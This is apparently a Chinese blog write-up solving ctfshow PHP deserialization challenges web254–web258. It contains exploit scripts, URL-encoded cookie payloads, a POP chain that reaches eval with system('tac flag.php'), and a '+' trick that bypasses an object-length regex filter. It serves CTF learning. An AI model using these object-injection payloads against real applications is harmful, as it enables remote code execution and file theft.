ctfshow-web入门-反序列化(web254-web258)
目录
1、web254
2、web255
3、web256
4、web257
5、web258
1、web254

传入符合要求的用户名和密码即可:
?username=xxxxxx&password=xxxxxx

拿到 flag:ctfshow{e4795ccd-6bff-44b6-a15c-6c679d802e61}
2、web255
整体逻辑代码和上一道差不多

新增了一个从 cookie 中反序列化用户对象 ctfShowUser 然后进行检验是不是 vip
<?php
class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));?>

将 $isVip改为 true,直接反序列化传入发现没有回显

将内容进行 url 编码后传入 cookie
user=%4f%3a%31%31%3a%22%63%74%66%53%68%6f%77%55%73%65%72%22%3a%33%3a%7b%73%3a%38%3a%22%75%73%65%72%6e%61%6d%65%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%38%3a%22%70%61%73%73%77%6f%72%64%22%3b%73%3a%36%3a%22%78%78%78%78%78%78%22%3b%73%3a%35%3a%22%69%73%56%69%70%22%3b%62%3a%31%3b%7d
这里注意,get 传入的用户名和密码也是会被检测的

?username=xxxxxx&password=xxxxxx

拿到 flag:ctfshow{c614a837-13fc-4428-af94-7e9a1cede62c}
3、web256

这次要求用户名和密码不能相等,修改成不相等序列化传入,
反序列化时会覆盖掉用户名和密码的值:
<?php
class ctfShowUser{public $username='a';public $password='b';public $isVip=true;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$c = new ctfShowUser();
echo serialize($c);
echo "\n".urlencode(serialize($c));?>

?username=a&password=b
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22a%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22b%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D

拿到 flag:ctfshow{1ad9f933-40fe-4f29-beaf-5b02aeb03e97}
4、web257
出现多个类了,典型 pop 链构造

这里就不再赘述怎么找 pop 链了,详细方法过程参考我之前的文章:
个人认为还是讲得很详细了
[NISACTF 2022]babyserialize(pop链构造与脚本编写详细教学)-CSDN博客
https://myon6.blog.csdn.net/article/details/131565599也有部分视频,移步 b 站:SNERT预备队培训-day1-Web&Misc(pop链构造&实战CVE-2023-27524&杂项基础)_哔哩哔哩_bilibili
https://www.bilibili.com/video/BV1Eb4y1N7kB/?spm_id_from=333.999.0.0
exp:
<?php
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=true;
private $class = 'info';public function __construct(){
$this->class=new info();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo(); // 2 backDoor
}}class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}class backDoor{
private $code = "system('ls');";
public function getInfo(){
eval($this->code); // 1 system
}
}$b = new backDoor();
$c = new ctfShowUser();$reflection = new ReflectionClass($c);
$property = $reflection->getProperty('class');
$property->setAccessible(true);
$property->setValue($c, $b);echo urlencode(serialize($c));
?>
通过反射调用私有变量

payload:
?username=xxxxxx&password=xxxxxx
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%27ls%27%29%3B%22%3B%7D%7D

读取 flag.php
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A1%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D

拿到 flag:ctfshow{36ec79b6-1f80-4509-9d9e-da7b392ac132}
5、web258

这里 code 和 class 都成了公有变量,我们可以直接访问到,只是增加了正则过滤,匹配的是大小写 o 或者 c:数字: 这种形式的内容,我们在数字前添加 + 绕过。
exp:
<?phpclass ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=true;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$b = new backDoor();
$b->code = "system('tac flag.php');";
$c = new ctfShowUser();
$c->class = $b;$cc = serialize($c);
$mdf = preg_replace('/O:(\d+):/i', 'O:+$1:',$cc);echo $mdf."\n";
echo urlencode($mdf);?>

?username=xxxxxx&password=xxxxxx
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%27tac+flag.php%27%29%3B%22%3B%7D%7D'tac' is not recognized as an internal or external command,

拿到 flag:ctfshow{4592a841-e720-4e12-afd2-59f2e69fb9e3}
相关文章:
ctfshow-web入门-反序列化(web254-web258)
目录 1、web254 2、web255 3、web256 4、web257 5、web258 1、web254 传入符合要求的用户名和密码即可: ?usernamexxxxxx&passwordxxxxxx 拿到 flag:ctfshow{e4795ccd-6bff-44b6-a15c-6c679d802e61} 2、web255 整体逻辑代码和上一道差不多 新…...
repo 命令大全详解(第十一篇 repo init)
repo forall 命令用于在指定的项目上执行给定的命令,非常适合批量操作。 参数分类及解释 基本参数 [<project>...]: 可选,指定要操作的项目。如果不指定,则对所有项目执行命令。 示例: repo forall my_project -c "git status&q…...
ComfyUI | 全新ComfyUI前端操作指南:提升你的工作速度!
随着WebUI基本停更,越来越多的AI创作者转向了ComfyUI。 ComfyUI最大的优势是简洁、高效、占用显存低,工作流模式虽然有一点入门难度,但一旦上手,操作非常舒适。 由于原Stable Diffusion团队的参与,ComfyUI的易用度也…...
nginx解决非人类使用http打开的443,解决网安漏扫时误扫443端口带来的问题
一、问题描述 正常访问https的站点时,使用网址https://www.baidu.com,但会有一种错误的访问请求http://www.baidu.com:443,一般都是非人类所为,如漏洞扫描工具,那么请求以后带来的后果是个错误页面 400 Bad Request T…...
黑马 | Reids | 基础篇
黑马reids基础篇 文章目录 黑马reids基础篇一.初始Redis1.1SQL 和 NoSql的区别1.1.1结构化和非结构化1.1.2关联和非关联1.1.3查询方式1.1.4 事务1.1.5总结 1.2 认识Redis1.3 Redis安装启动默认启动:后台启动:开机自启 1.4 Redis客户端1.4.1.Redis命令行客…...
SAP-换登录界面图片
SMW0 二、SM30 (将value值删除,登录图片恢复默认) 重新登录,更改成功。...
移动 Web核心笔记(二)
空间转换 空间:是从坐标轴角度定义的 X 、Y 和 Z 三条坐标轴构成了一个立体空间,Z 轴位置与视线方向相同。 空间转换也叫 3D转换 属性:transform 平移 /*单独设置 z轴效果不明显*/ transform: translate3d(x, y, z); transform: translateX(…...
MySQL创建和管理表
1. 基础知识 存储数据是处理数据的第一步,只有正确地把数据存储起来,才能进行有效的处理和分析。 在 MySQL 中,一个完整的数据存储过程总共有 4 步,分别是创建数据库、确认字段、创建数据表、插入数据。 从系统架构的层次上看…...
【从零开始的LeetCode-算法】910. 最小差值 II
给你一个整数数组 nums,和一个整数 k 。 对于每个下标 i(0 < i < nums.length),将 nums[i] 变成 nums[i] k 或 nums[i] - k 。 nums 的 分数 是 nums 中最大元素和最小元素的差值。 在更改每个下标对应的值之后…...
周报 | 24.10.14-24.10.20文章汇总
为了更好地整理文章和发表接下来的文章,以后每周都汇总一份周报。 周报 | 24.10.7-24.10.13文章汇总-CSDN博客 OpenCV与AI深度学习 | T-Rex Label !超震撼 AI 自动标注工具,开箱即用、检测一切-CSDN博客 计算机视觉与机器学习 | 目标检测 …...
Codeforce 980 Div2 A-D 题解
A. Profitable Interest Rate 原题 A. Profitable Interest Rate 思路 易推出公式 2 * a - b 代码 #include <bits/stdc.h> //#define int long long#define F(i, a, b) for (int i (a); i < (b); i) #define dF(i, a, b) for (int i (a); i > (b); i--)usi…...
一次代码优化的过程
场景说明: wpf项目,有4个不同的页面,共用一个next按钮,实现点击后跳转到下一个页面。 第一个页面是导入文件,当有2个及以上文件时,会弹窗提示。如下图所示: 之前和之后的代码对比: 之…...
多线程的学习(1)
线程的创建方式 1.继承Thread类 package duoXianCheng;public class MyThread extends Thread{public void run(){System.out.println("hoh");}public static void main(String[] args) {MyThread m1 new MyThread();m1.start();//start启动线程,调用重…...
PyCharm借助MobaXterm跳板机连接服务器
服务器信息: Step 1 MovaXterm→Session→SSH输入服务器信息 Step 2 MovaXterm→Session→SSH→Network setting→SSG gateway(jump host) 输入跳板机信息 键入密码即可 Step 3 MovaXterm→Tunneling→New SSH tunnel 依次输入:A本机端口,…...
计算机毕业论文基于Android 的签到系统设计与实现
计算机专业本科毕业设计(论文)开题报告 毕业设计(论文)题目:基于Android的签到系统设计与实现 文章目录 毕业设计论文开题报告一、课题的目的及意义(含国内外的研究现状分析):二、课题任务、重点研究内容、实现途径、条件:摘 要1. 绪论1.1. 研究背景1.2. 研究现状1.3.…...
量化学习-02
1、宏观经济学基础概念 宏观经济简单背景 宏观经济,就是在宏观范畴以全局视角观察经济现象,分析其中的经济总量。该宏观范畴所包含的范围可以指一个国家或地区,是由众多微观个体组成的一个经济体,而这里面的微观个体可以指一个家…...
SAP_MM模块-设置业务合作伙伴类型字段必输(多种方案)
一、业务背景 公司需要把供应商增加一个细分的维度,并且要求该字段设置为必输,防止用户新增供应商时忘记维护。这里给用户找了一个分类的字段:业务合作伙伴类型,本文主要讲解如何设置该字段设置为必填; 注意ÿ…...
STM32平台上实现串口接收不定长数据-实际项目中应用
文章目录 一、中断串口监听方式初始化中断处理串口监听 二、空闲中断方式三、空闲中断DMA方式四、总结 本文将详细介绍在STM32平台上实现串口接收不定长数据的几种方法 一、中断串口监听方式 这种方式也是我早期使用的方式,直接使用寄存器来操作,这种方…...
AWD入门
一、简介 AWD(Attack With Defense,攻防兼备)模式。你需要在一场比赛里要扮演攻击方和防守方,攻者得分,失守者会被扣分。也就是说攻击别人的靶机可以获取 Flag 分数时,别人会被扣分,同时你也要保护自己的主机不被别人…...
T3矩阵看功率
每个像素的T3矩阵,功率等于特征值的和。 不同的像素的T3矩阵相加,可不能用特征分解的相加,因为两个T矩阵的特征向量不同...
手游刚开服就被攻击怎么办?如何防御DDoS?
开服初期是手游最脆弱的阶段,极易成为DDoS攻击的目标。一旦遭遇攻击,可能导致服务器瘫痪、玩家流失,甚至造成巨大经济损失。本文为开发者提供一套简洁有效的应急与防御方案,帮助快速应对并构建长期防护体系。 一、遭遇攻击的紧急应…...
阿里云ACP云计算备考笔记 (5)——弹性伸缩
目录 第一章 概述 第二章 弹性伸缩简介 1、弹性伸缩 2、垂直伸缩 3、优势 4、应用场景 ① 无规律的业务量波动 ② 有规律的业务量波动 ③ 无明显业务量波动 ④ 混合型业务 ⑤ 消息通知 ⑥ 生命周期挂钩 ⑦ 自定义方式 ⑧ 滚的升级 5、使用限制 第三章 主要定义 …...
Axios请求超时重发机制
Axios 超时重新请求实现方案 在 Axios 中实现超时重新请求可以通过以下几种方式: 1. 使用拦截器实现自动重试 import axios from axios;// 创建axios实例 const instance axios.create();// 设置超时时间 instance.defaults.timeout 5000;// 最大重试次数 cons…...
NFT模式:数字资产确权与链游经济系统构建
NFT模式:数字资产确权与链游经济系统构建 ——从技术架构到可持续生态的范式革命 一、确权技术革新:构建可信数字资产基石 1. 区块链底层架构的进化 跨链互操作协议:基于LayerZero协议实现以太坊、Solana等公链资产互通,通过零知…...
C/C++ 中附加包含目录、附加库目录与附加依赖项详解
在 C/C 编程的编译和链接过程中,附加包含目录、附加库目录和附加依赖项是三个至关重要的设置,它们相互配合,确保程序能够正确引用外部资源并顺利构建。虽然在学习过程中,这些概念容易让人混淆,但深入理解它们的作用和联…...
Mysql8 忘记密码重置,以及问题解决
1.使用免密登录 找到配置MySQL文件,我的文件路径是/etc/mysql/my.cnf,有的人的是/etc/mysql/mysql.cnf 在里最后加入 skip-grant-tables重启MySQL服务 service mysql restartShutting down MySQL… SUCCESS! Starting MySQL… SUCCESS! 重启成功 2.登…...
LLMs 系列实操科普(1)
写在前面: 本期内容我们继续 Andrej Karpathy 的《How I use LLMs》讲座内容,原视频时长 ~130 分钟,以实操演示主流的一些 LLMs 的使用,由于涉及到实操,实际上并不适合以文字整理,但还是决定尽量整理一份笔…...
WPF八大法则:告别模态窗口卡顿
⚙️ 核心问题:阻塞式模态窗口的缺陷 原始代码中ShowDialog()会阻塞UI线程,导致后续逻辑无法执行: var result modalWindow.ShowDialog(); // 线程阻塞 ProcessResult(result); // 必须等待窗口关闭根本问题:…...
nnUNet V2修改网络——暴力替换网络为UNet++
更换前,要用nnUNet V2跑通所用数据集,证明nnUNet V2、数据集、运行环境等没有问题 阅读nnU-Net V2 的 U-Net结构,初步了解要修改的网络,知己知彼,修改起来才能游刃有余。 U-Net存在两个局限,一是网络的最佳深度因应用场景而异,这取决于任务的难度和可用于训练的标注数…...
在 Visual Studio Code 中使用驭码 CodeRider 提升开发效率:以冒泡排序为例
目录 前言1 插件安装与配置1.1 安装驭码 CodeRider1.2 初始配置建议 2 示例代码:冒泡排序3 驭码 CodeRider 功能详解3.1 功能概览3.2 代码解释功能3.3 自动注释生成3.4 逻辑修改功能3.5 单元测试自动生成3.6 代码优化建议 4 驭码的实际应用建议5 常见问题与解决建议…...
